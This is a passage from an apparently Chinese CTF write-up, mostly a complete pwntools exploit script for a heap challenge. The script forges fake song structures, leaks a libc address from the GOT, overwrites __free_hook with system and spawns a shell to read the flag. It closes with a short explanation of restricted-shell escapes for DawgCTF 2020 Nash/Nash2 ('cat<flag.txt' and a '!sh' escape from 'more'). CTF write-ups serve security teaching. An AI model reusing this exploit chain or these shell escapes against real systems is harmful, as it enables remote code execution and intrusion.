return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def import_song(sh,path):
sh.recvuntil('Choice: ')
sh.sendline('1')
sh.recvuntil('Please provide the entire file path.')
sh.send(path)
def list_playlist(sh):
sh.recvuntil('Choice: ')
sh.sendline('2')
def play_song(sh,index,size=None,content=None):
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.recvuntil('Choice: ')
sh.sendline(str(index))
if size:
sleep(0.5)
sh.sendline(str(size))
if content:
sleep(0.5)
sh.send(content)
def remove_song(sh,index):
sh.recvuntil('Choice: ')
sh.sendline('4')
sh.recvuntil('Choice: ')
sh.sendline(str(index))
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
for i in range(3,0x2E):
import_song(sh,'Animal/animal.txt')
import_song(sh,'Animal/'.ljust(0x18,'/'))
import_song(sh,'Animal/blahblah.txt') # 45
import_song(sh,'Animal/animal.txt') # 46
play_song(sh,45)
play_song(sh,46)
remove_song(sh,45)
remove_song(sh,46)
play_song(sh,44,-1,'x41' * 0x660 + p64(0) + p64(0x3C0) + p64(0x404080))
play_song(sh,43)
fake_songs = 'x00' * 8 + p64(0x404457) + p64(0)
fake_songs += 'A' * 0x18 # fake_path
fake_songs += p64(4) # fake_fd
fake_songs += p64(tiktok.got['puts']) # fake_dir
fake_songs += p64(tiktok.got['puts']) # fake_name
fake_songs += p64(0) # fake_content
fake_songs += p64(0) + p64(0) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(5) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0x404150) # fake_content
fake_songs += p64(0) + p64(0) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(6) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0x404150) # fake_content
fake_songs += p64(0) + p64(0x21) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(0) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0) # fake_content
fake_songs += p64(0) + p64(0x21) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(0) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0) # fake_content
fake_songs += p64(0) + p64(0x21) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(0) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0) # fake_content
fake_songs += p64(0) + p64(0x21) # fake_path
fake_songs += p64(0) # fake_path_2
fake_songs += p64(10) # fake_fd
fake_songs += p64(0x404080) # fake_dir
fake_songs += p64(0x404080) # fake_name
fake_songs += p64(0x401050) # fake_content
play_song(sh,18,fake_songs)
list_playlist(sh)
puts_addr = 0
sh.recvuntil('2. ')
data = sh.recvuntil('-',drop=True)
for i in data[::-1]:
puts_addr = puts_addr << 8
puts_addr += ord(i)
libc.address = puts_addr - libc.symbols['puts']
success('The libc base address is ' + str(hex(libc.address)))
remove_song(sh,3)
remove_song(sh,4)
play_song(sh,5,0x8,p64(libc.symbols['__free_hook']))
play_song(sh,6,0x8,'/bin/sh')
play_song(sh,7,0x8,p64(libc.symbols['system']))
remove_song(sh,6)
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x05 [2020 DawgCTF 2020] Nash/Nash2
题目类型:Pwn
题目的逻辑十分简单,在Nash
中,程序限制了我们在shell
中使用空格,这里我们可以使用<
将我们的flag
文件重定向到命令中,即cat<flag.txt
。在Nash2
中,程序限制了我们在shell
中使用空格以及<
,那么我们可以使用ps|more
就可以进入more
的交互环境中,在那之后我们就可以使用!'sh' flag.txt
读取flag
文件。